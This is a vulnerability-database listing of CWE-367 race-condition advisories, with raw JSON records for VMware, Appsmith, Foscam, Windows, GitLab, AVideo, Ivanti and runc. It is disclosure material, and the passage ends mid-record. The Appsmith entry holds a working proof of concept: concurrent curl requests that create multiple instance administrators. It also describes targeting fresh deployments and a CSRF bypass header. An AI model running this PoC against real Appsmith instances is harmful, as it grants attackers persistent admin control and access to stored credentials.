Common Weakness Enumeration

CWE-367

Allowed

Time-of-check Time-of-use (TOCTOU) Race Condition

Abstraction: Base · Status: Incomplete

The product checks the state of a resource before using that resource, but the resource's state can change between the check and the use in a way that invalidates the results of the check.

1207 vulnerabilities reference this CWE, most recent first.

GHSA-9V5H-WGX5-JXXJ

Vulnerability from github – Published: 2022-05-24 17:31 – Updated: 2022-05-24 17:31
VLAI
Details

VMware ESXi (7.0 before ESXi_7.0.1-0.0.16850804, 6.7 before ESXi670-202008101-SG, 6.5 before ESXi650-202007101-SG), Workstation (15.x), Fusion (11.x before 11.5.6) contain an out-of-bounds read vulnerability due to a time-of-check time-of-use issue in ACPI device. A malicious actor with administrative access to a virtual machine may be able to exploit this issue to leak memory from the vmx process.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-3981"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-367"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-10-20T17:15:00Z",
    "severity": "MODERATE"
  },
  "details": "VMware ESXi (7.0 before ESXi_7.0.1-0.0.16850804, 6.7 before ESXi670-202008101-SG, 6.5 before ESXi650-202007101-SG), Workstation (15.x), Fusion (11.x before 11.5.6) contain an out-of-bounds read vulnerability due to a time-of-check time-of-use issue in ACPI device. A malicious actor with administrative access to a virtual machine may be able to exploit this issue to leak memory from the vmx process.",
  "id": "GHSA-9v5h-wgx5-jxxj",
  "modified": "2022-05-24T17:31:50Z",
  "published": "2022-05-24T17:31:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-3981"
    },
    {
      "type": "WEB",
      "url": "https://www.vmware.com/security/advisories/VMSA-2020-0023.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-9WCP-79G5-5C3C

Vulnerability from github – Published: 2026-06-12 18:27 – Updated: 2026-06-12 18:27
VLAI
Summary
Appsmith Super User Creation Race Condition Allows Multiple Instance Administrators
Details

Summary

The /api/v1/users/super endpoint enforces a restriction that only one super user (Instance Administrator) can be created during initial setup. However, due to a Time-of-Check-Time-of-Use (TOCTOU) race condition in the signupAndLoginSuper() method, concurrent requests can bypass this restriction, allowing multiple unauthorized users to obtain Instance Administrator privileges.

Severity

  • CWE: CWE-367 (Time-of-Check Time-of-Use Race Condition)
  • CVSS 3.1: AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H — 8.1 (HIGH)

Affected Version

  • Appsmith Community Edition v1.97.0-SNAPSHOT (release branch)
  • Docker image: appsmith/appsmith-ce:release (pulled 2026-02-25)
  • Commit: 55ac824f8d42f934cc7a69f8abc52880a6ad39ef

Root Cause

The signupAndLoginSuper() method in UserSignupCEImpl.java (lines 270–295) performs a non-atomic check-then-act sequence:

// Step 1: CHECK — query MongoDB for existing users
userService.isUsersEmpty()
    .flatMap(isEmpty -> {
        if (!Boolean.TRUE.equals(isEmpty)) {
            return Mono.error(new AppsmithException(AppsmithError.UNAUTHORIZED_ACCESS));
        }
        // Step 2: ACT — create user and grant admin (not atomic with Step 1)
        return signupAndLogin(user, exchange);
    })
    .flatMap(user -> userUtils.makeInstanceAdministrator(List.of(user)));

The isUsersEmpty() method (CustomUserRepositoryCEImpl.java, lines 35–44) queries MongoDB without any locking mechanism:

public Mono<Boolean> isUsersEmpty() {
    return queryBuilder()
            .criteria(Bridge.or(
                    notExists(User.Fields.isSystemGenerated),
                    Bridge.isFalse(User.Fields.isSystemGenerated)))
            .limit(1).all(IdOnly.class).count().map(count -> count == 0);
}

There is no @Transactional annotation, no distributed lock, and no MongoDB transaction wrapping the check-and-create sequence. In the reactive WebFlux environment, concurrent requests are processed in parallel, widening the race window significantly.

Proof of Concept

Environment Setup

# Start a fresh Appsmith instance
docker run -d --name appsmith-test -p 9090:80 appsmith/appsmith-ce:release
# Wait ~90 seconds for all services to initialize

Step 1: Verify Fresh State

curl -s http://localhost:9090/api/v1/users/me | python3 -m json.tool
# Expected: {"data": {"email": "anonymousUser", ...}}

Step 2: Send Concurrent Requests

for i in $(seq 1 10); do
  curl -s -o /tmp/race_result_${i}.txt -w "%{http_code}" \
    -X POST http://localhost:9090/api/v1/users/super \
    -H "Content-Type: application/x-www-form-urlencoded" \
    -H "X-Requested-By: Appsmith" \
    -d "email=racer${i}@evil.com&password=TestP4ssw0rd!&name=Racer${i}&allowCollectingAnonymousData=false" &
done
wait

# Check results
for i in $(seq 1 10); do
  echo "racer${i}: $(cat /tmp/race_result_${i}.txt)"
done

Step 3: Verify in MongoDB

// Connect to MongoDB inside the container
// docker exec -it appsmith-test mongosh <connection_string>

// Count non-system users (expected: 1, actual: 10)
db.user.countDocuments({ isSystemGenerated: { $ne: true } })

// Check who has manage:users permission
db.user.find(
  { isSystemGenerated: { $ne: true } },
  { email: 1, "policies.permission": 1 }
).forEach(u => {
  const hasManage = u.policies?.some(p => p.permission === "manage:users");
  printjson({ email: u.email, manage_users: hasManage });
});

// Check Instance Administrator Role assignments
db.permissionGroup.findOne(
  { name: "Instance Administrator Role" },
  { assignedToUserIds: 1 }
);

Observed Results

Metric Expected Actual
Users created 1 10
Users with manage:users policy 1 10
Users in Instance Administrator Role 1 2

All 10 concurrent requests returned HTTP 302 (success redirect), bypassing the single-user restriction.

Impact

  1. Authorization Bypass: The one-admin-only restriction is completely defeated by concurrent requests.

  2. Persistent Backdoor: The attacker's admin account persists alongside the legitimate administrator. The legitimate admin has no indication that another admin exists unless they manually inspect the user list.

  3. Full Instance Compromise: Instance Administrator privileges grant:

  4. User management (create, delete, modify all users)
  5. Access to all datasource credentials (database passwords, API keys)
  6. Modification of all applications and their server-side logic
  7. Environment configuration (SMTP, OAuth, encryption settings)

Attack Scenario

  1. Attacker monitors for newly deployed Appsmith instances (e.g., via Shodan, Censys, or internal network scanning).
  2. Attacker polls GET /api/v1/users/me — if the response contains "email": "anonymousUser", the instance has not been set up yet.
  3. Attacker sends multiple concurrent POST /api/v1/users/super requests.
  4. Legitimate administrator completes setup normally, unaware that an attacker account also received Instance Administrator privileges.
  5. Attacker now has persistent, full administrative access to the instance.

Suggested Fix

Option A: MongoDB Transaction (Recommended)

Wrap the check-and-create in a MongoDB transaction to ensure atomicity:

public Mono<User> signupAndLoginSuper(...) {
    return reactiveMongoTemplate.inTransaction().execute(session -> {
        return userService.isUsersEmpty()
            .flatMap(isEmpty -> {
                if (!Boolean.TRUE.equals(isEmpty)) {
                    return Mono.error(new AppsmithException(
                        AppsmithError.UNAUTHORIZED_ACCESS));
                }
                return signupAndLogin(user, exchange);
            });
    }).single()
    .flatMap(user -> userUtils.makeInstanceAdministrator(List.of(user)));
}

Option B: Distributed Lock

Use Redis (already available in Appsmith's stack) to acquire an exclusive lock:

public Mono<User> signupAndLoginSuper(...) {
    return redisLockService.acquireLock("super-user-setup", Duration.ofSeconds(10))
        .flatMap(lock -> userService.isUsersEmpty()
            .flatMap(isEmpty -> {
                if (!Boolean.TRUE.equals(isEmpty)) {
                    return Mono.error(...);
                }
                return signupAndLogin(user, exchange);
            })
            .doFinally(signal -> lock.release()));
}

Option C: Unique Constraint

Add a MongoDB unique partial index that prevents more than one super admin:

db.user.createIndex(
  { "isSuperAdmin": 1 },
  { unique: true, partialFilterExpression: { "isSuperAdmin": true } }
);

CSRF Note

The POST /api/v1/users/super endpoint accepts application/x-www-form-urlencoded content type. CSRF protection can be bypassed by including the X-Requested-By: Appsmith header (CsrfConfigCE.java, lines 99–102), which is a static, publicly known value.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 1.99.0"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "com.appsmith:server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.99"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-367"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-12T18:27:53Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe `/api/v1/users/super` endpoint enforces a restriction that only one super user (Instance Administrator) can be created during initial setup. However, due to a Time-of-Check-Time-of-Use (TOCTOU) race condition in the `signupAndLoginSuper()` method, concurrent requests can bypass this restriction, allowing multiple unauthorized users to obtain Instance Administrator privileges.\n\n## Severity\n\n- **CWE**: CWE-367 (Time-of-Check Time-of-Use Race Condition)\n- **CVSS 3.1**: AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H \u2014 **8.1 (HIGH)**\n\n## Affected Version\n\n- Appsmith Community Edition v1.97.0-SNAPSHOT (release branch)\n- Docker image: `appsmith/appsmith-ce:release` (pulled 2026-02-25)\n- Commit: `55ac824f8d42f934cc7a69f8abc52880a6ad39ef`\n\n## Root Cause\n\nThe `signupAndLoginSuper()` method in `UserSignupCEImpl.java` (lines 270\u2013295) performs a non-atomic check-then-act sequence:\n\n```java\n// Step 1: CHECK \u2014 query MongoDB for existing users\nuserService.isUsersEmpty()\n    .flatMap(isEmpty -\u003e {\n        if (!Boolean.TRUE.equals(isEmpty)) {\n            return Mono.error(new AppsmithException(AppsmithError.UNAUTHORIZED_ACCESS));\n        }\n        // Step 2: ACT \u2014 create user and grant admin (not atomic with Step 1)\n        return signupAndLogin(user, exchange);\n    })\n    .flatMap(user -\u003e userUtils.makeInstanceAdministrator(List.of(user)));\n```\n\nThe `isUsersEmpty()` method (`CustomUserRepositoryCEImpl.java`, lines 35\u201344) queries MongoDB without any locking mechanism:\n\n```java\npublic Mono\u003cBoolean\u003e isUsersEmpty() {\n    return queryBuilder()\n            .criteria(Bridge.or(\n                    notExists(User.Fields.isSystemGenerated),\n                    Bridge.isFalse(User.Fields.isSystemGenerated)))\n            .limit(1).all(IdOnly.class).count().map(count -\u003e count == 0);\n}\n```\n\nThere is no `@Transactional` annotation, no distributed lock, and no MongoDB transaction wrapping the check-and-create sequence. In the reactive WebFlux environment, concurrent requests are processed in parallel, widening the race window significantly.\n\n## Proof of Concept\n\n### Environment Setup\n\n```bash\n# Start a fresh Appsmith instance\ndocker run -d --name appsmith-test -p 9090:80 appsmith/appsmith-ce:release\n# Wait ~90 seconds for all services to initialize\n```\n\n### Step 1: Verify Fresh State\n\n```bash\ncurl -s http://localhost:9090/api/v1/users/me | python3 -m json.tool\n# Expected: {\"data\": {\"email\": \"anonymousUser\", ...}}\n```\n\n### Step 2: Send Concurrent Requests\n\n```bash\nfor i in $(seq 1 10); do\n  curl -s -o /tmp/race_result_${i}.txt -w \"%{http_code}\" \\\n    -X POST http://localhost:9090/api/v1/users/super \\\n    -H \"Content-Type: application/x-www-form-urlencoded\" \\\n    -H \"X-Requested-By: Appsmith\" \\\n    -d \"email=racer${i}@evil.com\u0026password=TestP4ssw0rd!\u0026name=Racer${i}\u0026allowCollectingAnonymousData=false\" \u0026\ndone\nwait\n\n# Check results\nfor i in $(seq 1 10); do\n  echo \"racer${i}: $(cat /tmp/race_result_${i}.txt)\"\ndone\n```\n\n### Step 3: Verify in MongoDB\n\n```javascript\n// Connect to MongoDB inside the container\n// docker exec -it appsmith-test mongosh \u003cconnection_string\u003e\n\n// Count non-system users (expected: 1, actual: 10)\ndb.user.countDocuments({ isSystemGenerated: { $ne: true } })\n\n// Check who has manage:users permission\ndb.user.find(\n  { isSystemGenerated: { $ne: true } },\n  { email: 1, \"policies.permission\": 1 }\n).forEach(u =\u003e {\n  const hasManage = u.policies?.some(p =\u003e p.permission === \"manage:users\");\n  printjson({ email: u.email, manage_users: hasManage });\n});\n\n// Check Instance Administrator Role assignments\ndb.permissionGroup.findOne(\n  { name: \"Instance Administrator Role\" },\n  { assignedToUserIds: 1 }\n);\n```\n\n### Observed Results\n\n| Metric | Expected | Actual |\n|--------|----------|--------|\n| Users created | 1 | **10** |\n| Users with `manage:users` policy | 1 | **10** |\n| Users in Instance Administrator Role | 1 | **2** |\n\nAll 10 concurrent requests returned HTTP 302 (success redirect), bypassing the single-user restriction.\n\n## Impact\n\n1. **Authorization Bypass**: The one-admin-only restriction is completely defeated by concurrent requests.\n\n2. **Persistent Backdoor**: The attacker\u0027s admin account persists alongside the legitimate administrator. The legitimate admin has no indication that another admin exists unless they manually inspect the user list.\n\n3. **Full Instance Compromise**: Instance Administrator privileges grant:\n   - User management (create, delete, modify all users)\n   - Access to all datasource credentials (database passwords, API keys)\n   - Modification of all applications and their server-side logic\n   - Environment configuration (SMTP, OAuth, encryption settings)\n\n## Attack Scenario\n\n1. Attacker monitors for newly deployed Appsmith instances (e.g., via Shodan, Censys, or internal network scanning).\n2. Attacker polls `GET /api/v1/users/me` \u2014 if the response contains `\"email\": \"anonymousUser\"`, the instance has not been set up yet.\n3. Attacker sends multiple concurrent `POST /api/v1/users/super` requests.\n4. Legitimate administrator completes setup normally, unaware that an attacker account also received Instance Administrator privileges.\n5. Attacker now has persistent, full administrative access to the instance.\n\n## Suggested Fix\n\n### Option A: MongoDB Transaction (Recommended)\n\nWrap the check-and-create in a MongoDB transaction to ensure atomicity:\n\n```java\npublic Mono\u003cUser\u003e signupAndLoginSuper(...) {\n    return reactiveMongoTemplate.inTransaction().execute(session -\u003e {\n        return userService.isUsersEmpty()\n            .flatMap(isEmpty -\u003e {\n                if (!Boolean.TRUE.equals(isEmpty)) {\n                    return Mono.error(new AppsmithException(\n                        AppsmithError.UNAUTHORIZED_ACCESS));\n                }\n                return signupAndLogin(user, exchange);\n            });\n    }).single()\n    .flatMap(user -\u003e userUtils.makeInstanceAdministrator(List.of(user)));\n}\n```\n\n### Option B: Distributed Lock\n\nUse Redis (already available in Appsmith\u0027s stack) to acquire an exclusive lock:\n\n```java\npublic Mono\u003cUser\u003e signupAndLoginSuper(...) {\n    return redisLockService.acquireLock(\"super-user-setup\", Duration.ofSeconds(10))\n        .flatMap(lock -\u003e userService.isUsersEmpty()\n            .flatMap(isEmpty -\u003e {\n                if (!Boolean.TRUE.equals(isEmpty)) {\n                    return Mono.error(...);\n                }\n                return signupAndLogin(user, exchange);\n            })\n            .doFinally(signal -\u003e lock.release()));\n}\n```\n\n### Option C: Unique Constraint\n\nAdd a MongoDB unique partial index that prevents more than one super admin:\n\n```javascript\ndb.user.createIndex(\n  { \"isSuperAdmin\": 1 },\n  { unique: true, partialFilterExpression: { \"isSuperAdmin\": true } }\n);\n```\n\n## CSRF Note\n\nThe `POST /api/v1/users/super` endpoint accepts `application/x-www-form-urlencoded` content type. CSRF protection can be bypassed by including the `X-Requested-By: Appsmith` header (`CsrfConfigCE.java`, lines 99\u2013102), which is a static, publicly known value.",
  "id": "GHSA-9wcp-79g5-5c3c",
  "modified": "2026-06-12T18:27:53Z",
  "published": "2026-06-12T18:27:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/appsmithorg/appsmith/security/advisories/GHSA-9wcp-79g5-5c3c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/appsmithorg/appsmith"
    },
    {
      "type": "WEB",
      "url": "https://github.com/appsmithorg/appsmith/releases/tag/v1.99"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Appsmith Super User Creation Race Condition Allows Multiple Instance Administrators"
}

GHSA-9WXQ-WWQC-X64J

Vulnerability from github – Published: 2022-04-22 00:00 – Updated: 2022-05-05 00:00
VLAI
Details

Time-of-check Time-of-use (TOCTOU) Race Condition vulerability in Foscam R2C IP camera running System FW <= 1.13.1.6, and Application FW <= 2.91.2.66, allows an authenticated remote attacker with administrator permissions to execute arbitrary remote code via a malicious firmware patch. The impact of this vulnerability is that the remote attacker could gain full remote access to the IP camera and the underlying Linux system with root permissions. With root access to the camera's Linux OS, an attacker could effectively change the code that is running, add backdoor access, or invade the privacy of the user by accessing the live camera stream.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-28743"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-367"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-04-21T19:15:00Z",
    "severity": "HIGH"
  },
  "details": "Time-of-check Time-of-use (TOCTOU) Race Condition vulerability in Foscam R2C IP camera running System FW \u003c= 1.13.1.6, and Application FW \u003c= 2.91.2.66, allows an authenticated remote attacker with administrator permissions to execute arbitrary remote code via a malicious firmware patch. The impact of this vulnerability is that the remote attacker could gain full remote access to the IP camera and the underlying Linux system with root permissions. With root access to the camera\u0027s Linux OS, an attacker could effectively change the code that is running, add backdoor access, or invade the privacy of the user by accessing the live camera stream.",
  "id": "GHSA-9wxq-wwqc-x64j",
  "modified": "2022-05-05T00:00:46Z",
  "published": "2022-04-22T00:00:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-28743"
    },
    {
      "type": "WEB",
      "url": "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/keeping-a-critical-eye-on-iot-devices.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9XG5-4CPG-QQXQ

Vulnerability from github – Published: 2025-09-09 18:31 – Updated: 2025-09-09 18:31
VLAI
Details

Time-of-check time-of-use (toctou) race condition in Windows TCP/IP allows an authorized attacker to elevate privileges locally.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-54093"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-367"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-09T17:15:52Z",
    "severity": "HIGH"
  },
  "details": "Time-of-check time-of-use (toctou) race condition in Windows TCP/IP allows an authorized attacker to elevate privileges locally.",
  "id": "GHSA-9xg5-4cpg-qqxq",
  "modified": "2025-09-09T18:31:20Z",
  "published": "2025-09-09T18:31:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54093"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-54093"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9XHF-GX34-9Q2G

Vulnerability from github – Published: 2023-06-28 21:30 – Updated: 2024-04-04 05:16
VLAI
Details

An issue has been discovered in GitLab affecting all versions starting from 15.7 before 15.8.5, from 15.9 before 15.9.4, and from 15.10 before 15.10.1 that allows for crafted, unapproved MRs to be introduced and merged without authorization

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-4143"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-367"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-06-28T21:15:09Z",
    "severity": "MODERATE"
  },
  "details": "An issue has been discovered in GitLab affecting all versions starting from 15.7 before 15.8.5, from 15.9 before 15.9.4, and from 15.10 before 15.10.1 that allows for crafted, unapproved MRs to be introduced and merged without authorization",
  "id": "GHSA-9xhf-gx34-9q2g",
  "modified": "2024-04-04T05:16:11Z",
  "published": "2023-06-28T21:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-4143"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/1767639"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/cves/-/blob/master/2022/CVE-2022-4143.json"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/gitlab/-/issues/383776"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-C3CH-22RQ-XFWR

Vulnerability from github – Published: 2026-05-15 18:35 – Updated: 2026-06-09 10:28
VLAI
Summary
AVideo CVE-2026-43884 incomplete fix - six (or more) `isSSRFSafeURL()` call sites still discard the `$resolvedIP` out-param at master HEAD post-`603e7bf`
Details

CVE-2026-43884 fix 603e7bf patched EpgParser.php and plugin/AI/receiveAsync.json.php to use url_get_contents (redirect-safe). Neither uses the $resolvedIP out-param of isSSRFSafeURL() for DNS pinning via CURLOPT_RESOLVE. Six+ other call sites still discard $resolvedIP, opening DNS-rebinding TOCTOU.

Reference correct pattern at plugin/YPTWallet/YPTWallet.php:1071-1098:

```php $resolvedIP = null; if (isSSRFSafeURL($url, $resolvedIP)) { curl_setopt($ch, CURLOPT_RESOLVE, ["$h

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "WWBN/AVideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "29.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45619"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-367",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-15T18:35:38Z",
    "nvd_published_at": "2026-05-29T14:16:30Z",
    "severity": "MODERATE"
  },
  "details": "CVE-2026-43884 fix `603e7bf` patched `EpgParser.php` and `plugin/AI/receiveAsync.json.php` to use `url_get_contents` (redirect-safe). Neither uses the `$resolvedIP` out-param of `isSSRFSafeURL()` for DNS pinning via `CURLOPT_RESOLVE`. Six+ other call sites still discard `$resolvedIP`, opening DNS-rebinding TOCTOU.\n\nReference correct pattern at `plugin/YPTWallet/YPTWallet.php:1071-1098`:\n\n```php\n$resolvedIP = null;\nif (isSSRFSafeURL($url, $resolvedIP)) {\n    curl_setopt($ch, CURLOPT_RESOLVE, [\"$h",
  "id": "GHSA-c3ch-22rq-xfwr",
  "modified": "2026-06-09T10:28:08Z",
  "published": "2026-05-15T18:35:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-c3ch-22rq-xfwr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45619"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-2hch-c97c-g99x"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo CVE-2026-43884 incomplete fix - six (or more) `isSSRFSafeURL()` call sites still discard the `$resolvedIP` out-param at master HEAD post-`603e7bf`"
}

GHSA-C3P2-8X6X-WVH2

Vulnerability from github – Published: 2024-04-19 03:31 – Updated: 2025-05-06 21:30
VLAI
Details

A Race Condition (TOCTOU) vulnerability in web component of Ivanti Avalanche before 6.4.3 allows a remote authenticated attacker to execute arbitrary commands as SYSTEM.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-24993"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-367"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-19T02:15:08Z",
    "severity": "HIGH"
  },
  "details": "A Race Condition (TOCTOU) vulnerability in web component of Ivanti Avalanche before 6.4.3 allows a remote authenticated attacker to execute arbitrary commands as SYSTEM.",
  "id": "GHSA-c3p2-8x6x-wvh2",
  "modified": "2025-05-06T21:30:42Z",
  "published": "2024-04-19T03:31:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-24993"
    },
    {
      "type": "WEB",
      "url": "https://forums.ivanti.com/s/article/Avalanche-6-4-3-Security-Hardening-and-CVEs-addressed?language=en_US"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-C3XM-PVG7-GH7R

Vulnerability from github – Published: 2021-05-25 18:44 – Updated: 2021-05-21 19:34
VLAI
Summary
mount destinations can be swapped via symlink-exchange to cause mounts outside the rootfs
Details

Summary

runc 1.0.0-rc94 and earlier are vulnerable to a symlink exchange attack whereby an attacker can request a seemingly-innocuous container configuration that actually results in the host filesystem being bind-mounted into the container (allowing for a container escape). CVE-2021-30465 has been assigned for this issue.

An attacker must have the ability to start containers using some kind of custom volume configuration, and while recommended container hardening mechanisms such as LSMs (AppArmor/SELinux) and user namespaces will restrict the amount of damage an attacker could do, they do not block this attack outright. We have a reproducer using Kubernetes (and the below description mentions Kubernetes-specific paths), but this is not a Kubernetes-specific issue.

The now-released runc v1.0.0-rc95 contains a fix for this issue, we recommend users update as soon as possible.

Details

In circumstances where a container is being started, and runc is mounting inside a volume shared with another container (which is conducting a symlink-exchange attack), runc can be tricked into mounting outside of the container rootfs by swapping the target of a mount with a symlink due to a time-of-check-to-time-of-use (TOCTTOU) flaw. This is fairly similar in style to previous TOCTTOU attacks (and is a problem we are working on solving with libpathrs).

However, this alone is not useful because this happens inside a mount namespace with MS_SLAVE propagation applied to / (meaning that the mount doesn't appear on the host -- it's only a "host-side mount" inside the container's namespace). To exploit this, you must have additional mount entries in the configuration that use some subpath of the mounted-over host path as a source for a subsequent mount.

However, it turns out with some container orchestrators (such as Kubernetes -- though it is very likely that other downstream users of runc could have similar behaviour be accessible to untrusted users), the existence of additional volume management infrastructure allows this attack to be applied to gain access to the host filesystem without requiring the attacker to have completely arbitrary control over container configuration.

In the case of Kubernetes, this is exploitable by creating a symlink in a volume to the top-level (well-known) directory where volumes are sourced from (for instance, /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir), and then using that symlink as the target of a mount. The source of the mount is an attacker controlled directory, and thus the source directory from which subsequent mounts will occur is an attacker-controlled directory. Thus the attacker can first place a symlink to / in their malicious source directory with the name of a volume, and a subsequent mount in the container will bind-mount / into the container.

Applying this attack requires the attacker to start containers with a slightly peculiar volume configuration (though not explicitly malicious-looking such as bind-mounting / into the container explicitly), and be able to run malicious code in a container that shares volumes with said volume configuration. It helps the attacker if the host paths used for volume management are well known, though this is not a hard requirement.

Patches

This has been patched in runc 1.0.0-rc95, and users should upgrade as soon as possible. The patch itself can be found here.

Workarounds

There are no known workarounds for this issue.

However, users who enforce running containers with more confined security profiles (such as reduced capabilities, not running code as root in the container, user namespaces, AppArmor/SELinux, and seccomp) will restrict what an attacker can do in the case of a container breakout -- we recommend users make use of strict security profiles if possible (most notably user namespaces -- which can massively restrict the impact a container breakout can have on the host system).

References

Credit

Thanks to Etienne Champetier for discovering and disclosing this vulnerability, to Noah Meyerhans for writing the first draft of this patch, and to Samuel Karp for testing it.

For more information

If you have any questions or comments about this advisory: * Open an issue in our issue tracker. * Email us at security@opencontainers.org.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.0.0-rc94"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/opencontainers/runc"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.0-rc95"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-30465"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-362",
      "CWE-367"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-05-21T19:34:43Z",
    "nvd_published_at": "2021-05-27T13:15:00Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nrunc 1.0.0-rc94 and earlier are vulnerable to a symlink exchange attack whereby\nan attacker can request a seemingly-innocuous container configuration that\nactually results in the host filesystem being bind-mounted into the container\n(allowing for a container escape). CVE-2021-30465 has been assigned for this\nissue.\n\nAn attacker must have the ability to start containers using some kind of custom\nvolume configuration, and while recommended container hardening mechanisms such\nas LSMs (AppArmor/SELinux) and user namespaces will restrict the amount of\ndamage an attacker could do, they do not block this attack outright. We have a\nreproducer using Kubernetes (and the below description mentions\nKubernetes-specific paths), but this is not a Kubernetes-specific issue.\n\nThe now-released [runc v1.0.0-rc95][release] contains a fix for this issue, we\nrecommend users update as soon as possible.\n\n[release]: https://github.com/opencontainers/runc/releases/tag/v1.0.0-rc95\n\n### Details\n\nIn circumstances where a container is being started, and runc is mounting\ninside a volume shared with another container (which is conducting a\nsymlink-exchange attack), runc can be tricked into mounting outside of the\ncontainer rootfs by swapping the target of a mount with a symlink due to a\ntime-of-check-to-time-of-use (TOCTTOU) flaw. This is fairly similar in style to\nprevious TOCTTOU attacks (and is a problem we are working on solving with\nlibpathrs).\n\nHowever, this alone is not useful because this happens inside a mount namespace\nwith `MS_SLAVE` propagation applied to `/` (meaning that the mount doesn\u0027t\nappear on the host -- it\u0027s only a \"host-side mount\" inside the container\u0027s\nnamespace). To exploit this, you must have additional mount entries in the\nconfiguration that use some subpath of the mounted-over host path as a source\nfor a subsequent mount.\n\nHowever, it turns out with some container orchestrators (such as Kubernetes --\nthough it is very likely that other downstream users of runc could have similar\nbehaviour be accessible to untrusted users), the existence of additional volume\nmanagement infrastructure allows this attack to be applied to gain access to\nthe host filesystem without requiring the attacker to have completely arbitrary\ncontrol over container configuration.\n\nIn the case of Kubernetes, this is exploitable by creating a symlink in a\nvolume to the top-level (well-known) directory where volumes are sourced from\n(for 